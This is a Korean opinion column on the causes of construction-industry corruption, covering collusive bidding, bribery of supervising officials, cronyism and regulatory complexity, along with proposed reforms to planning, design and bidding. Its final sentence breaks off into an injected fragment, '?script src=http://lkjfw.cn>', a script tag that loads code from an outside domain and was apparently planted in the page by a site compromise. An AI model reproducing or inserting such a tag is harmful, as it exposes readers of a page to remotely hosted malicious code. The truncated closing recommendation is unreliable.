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언론기고

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보도일자

보도기관

◇건설 부조리 왜 발생하나?

건설사업의 특성상 제도와 법률이 복잡다기하고, 건설참여 주체들이 수단방법을 가리지 않고 단기적으로 이익을 챙기려 하기 때문이다.

건설사업의 기본계획, 기본설계, 실시설계와 가격, 기간, 품질 등의 기준은 협회와 학회 연구원에게 용역을 주고 세계각국에서 수입 복제하여 우리나라에 적용 시키고 있다. 건설공사의 공사기간 기준은 전혀없이 추진되고 있다.

우리 건설은 정부의 이런 엉터리 기준을 근거하여 단기간내 설계용역(복제중심)업체에서 수행하여 사용기관(공무원)의 의도대로 설계도서가 작성되어지고, 이러한 설계도서를 형식적으로 학자, 연구원의 설계심의.심사를 거쳐 예산을 확보한다.

건설공사는 일정율 이상의 낙찰율이 보장 된(담합가능토록 되어진 규정) 입찰계약방식으로 발주되어 수많은 건설업자를 부조리에 뛰어들게 유도하는 것이다.

건설회사는 부정과 비리를 저지르지 않고는 버틸 수 없기 때문에 건설사업 전과정에서 부조리가 발생한다.

건설공사는 건설산업기본법, 건설기술관리법, 건축사법, 건축법, 소방법, 엔지니어링 기술진흥법, 국가를 당사자로 하는 계약에 관한 법률 등 무수한 법률과 기준 및 절차가 복잡하게 설정되어 있다. 이들이 건설생산과정에 규제로 작용하여 이를 적용하는 과정에서 부패가 발생한다.

그럼에도 부패를 직접적으로 방지하기 위한 제도적 장치는 거의 전무한 실정이다.

건설공사에 참여하는 공무원을 포함한 건설기술자의 의식과 행태가 부패발생의 중요한 요인으로 작용한다.

건설관련 공무원은 건설공사관리공무원, 건설계약담당공무원, 건설공사감독공무원, 기계설비·자재 등의 검수 공무원, 소방·안전등의 점검공무원 기타 건설관련업무를 담당하는 공무원 등으로 건설공사 각 단계마다 참여하고 있다.

또한 건설사업수행업체도 건설, 전기·통신, 설비, 소방 등과 관련된 설계·엔지니어링업체, 시공업체(일반건설업체 및 전문건설업체)등이며 이들 업체들은 관련법에 따라 각각의 건설공정을 담당하고 있는 등 독립적으로 업역화 되어있다. 건설관련기술자는 건설공사단계에 따라서 수행업무가 다르며 공사규모에 따라서 수명에서 수백명에 이른다.

건설공사 참여주체들이 접촉하는 과정에서 공무원과의 유착관계가 형성되어 급행료,출장비, 경비를 지급하거나 향응을 베푸는 등 부패가 관행화하고 고착화하게 된다.

건설경기 침체시에는 수주경쟁이 더욱 가열되어 수단과 방법을 가리지 않고 일단 공사를 수주하고 보자는 현상이 발생하고 이 과정에서 저가수주(덤핑)가 만연하게 되며 공사수주 이후에는 저가수주를 보전하기 위한 편법적인 ''설계변경''과 부실공사 묵인을 위하여 감독자에게 뇌물공세를 펴고, 건설감독 공무원도 이에 편승함으로써 부패가 증가하게 된다.

우리 사회에 특히 만연되어 있는 인정주의, 가족주의, 정경유착, 전관예우, 모호한 공.사 구분, 집단이기주의, 적당주의 등 잘못된 사회·문화적 관행이 건설부패를 증가시키는 요인으로 작용한다.

지연·학연·혈연을 동원하는 것이 보편화되어 있으며 건설공사 수주를 못할 경우 [로비]가 부족하였기 때문이라고 생각하는 것이 일반적이 현상이다.

◇건설부조리 근절대책

기본계획 단계에서 장기적인 마스터플랜 하에 발주기관과 설계용역업자가 충분한 기간을 가지고 조사하여 기본계획을 수립해야 한다.

기본계획·조사업무를 표준화·강제화하여 담당공무원의 성실한 업무수행을 강제하는 한편, 담당공무원이 외부의 영향을 받지않고 업무를 수행할 수 있도록 하며, 이미 완성한 시설의 체계적 정보를 활용할수 있도록 하고, 새로운 설계(안)과 가격정보를 제시한 자에게 설계용역업무를 제공하는 공모형 프로포잘 방식도입과 조사 및 기본계획 업무절차의 표준화를 추진해야 한다.

설계단계에서는 시공성을 무시한 설계와 조사불충분으로 인한 설계오류에 따른 책임소재에 관한 다툼을 해결하기 위해서 설계와 시공간의 업역을 전면 철폐해야 한다.

설계의 범위를 사전조사 기본계획과 기본설계로 축소 조정 (설계자의 과도한 업무조정)해야 하며 설계와 시공이 합쳐질 경우 기본계획/ 조사, 기본설계, 실시설계, 시공을 한 건설업자가 모두 수행 할 수 있으며, 이렇게 한사람의 기술자 또는 기술경영자의 총괄지휘하에 수행되도록 해야 한다.

설계용역업자를 가격경쟁이 아닌 기술경쟁체계로 전환함으로써 발주자의 표준설계(안)보다 기능이 우수하고 외관이 뛰어나며 가격이 저렴한 설계를 채택하는 공모형 입찰제 체계로 전환해야 한다.

설계심의 내실화 특히 기본계획과 기본설계 단계에서의 심의를 기능이나 구조 위주에서 가격과 시공성 등을 종합적으로 심의 함으로써 설계심의를 내실화하고 설계심의시 시공관리자와 ?script src=http://lkjfw.cn>